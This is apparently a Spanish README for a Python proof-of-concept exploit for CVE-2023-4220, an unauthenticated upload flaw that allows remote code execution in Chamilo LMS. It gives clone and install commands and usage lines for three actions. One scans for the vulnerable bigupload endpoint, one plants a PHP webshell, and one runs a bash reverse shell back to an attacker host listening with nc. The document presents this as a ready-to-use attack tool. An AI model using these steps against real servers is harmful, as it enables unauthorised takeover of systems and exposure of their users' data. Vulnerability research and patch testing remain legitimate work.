
Este es un script escrito en Python que permite la explotación de la vulnerabilidad de seguridad del software LMS de Chamilo descrita en CVE-2023-4220
Este es un script escrito en Python que permite la explotación de la falla de seguridad del software LMS de Chamilo descrita en CVE-2023-4220. El sistema es vulnerable en versiones anteriores a 1.11.24.
Clona el repositorio en tu máquina e instala las dependencias usando pip (se recomienda usar virtualenv para crear un entorno que separe estas instalaciones de las globales)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
El script necesita la URL objetivo con la ruta raíz de Chamilo (por ejemplo, http://example.com/chamilo, http://example.com o http://chamilo.example.com) y una acción a realizar (hay tres disponibles: scan, webshell y revshell).
Esta acción comprobará si el objetivo es vulnerable intentando acceder al endpoint /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan

Esta acción creará un archivo PHP webshell en el endpoint vulnerable.
python3 main.py -u http://example.com/chamilo -a webshell

Esta acción creará y ejecutará un archivo bash reverse shell. Para ello, primero se creará una webshell usando el mismo método que en la acción anterior. Después, se ejecutarán algunos comandos para crear y ejecutar el archivo bash. Asegúrate de estar escuchando en el puerto que definiste con nc o cualquier otra utilidad para recibir realmente la conexión inversa. Además, el host puede ser una IPv4 interna/pública válida (como 172.17.1.4 o 186.227.4.31) o el dominio que tengas registrado (como evil-vps.domainreg.net).
python3 main.py -u http://example.com/chamilo -a revshell

OBS: Pronto añadiré una opción de payload Windows para hosts Windows.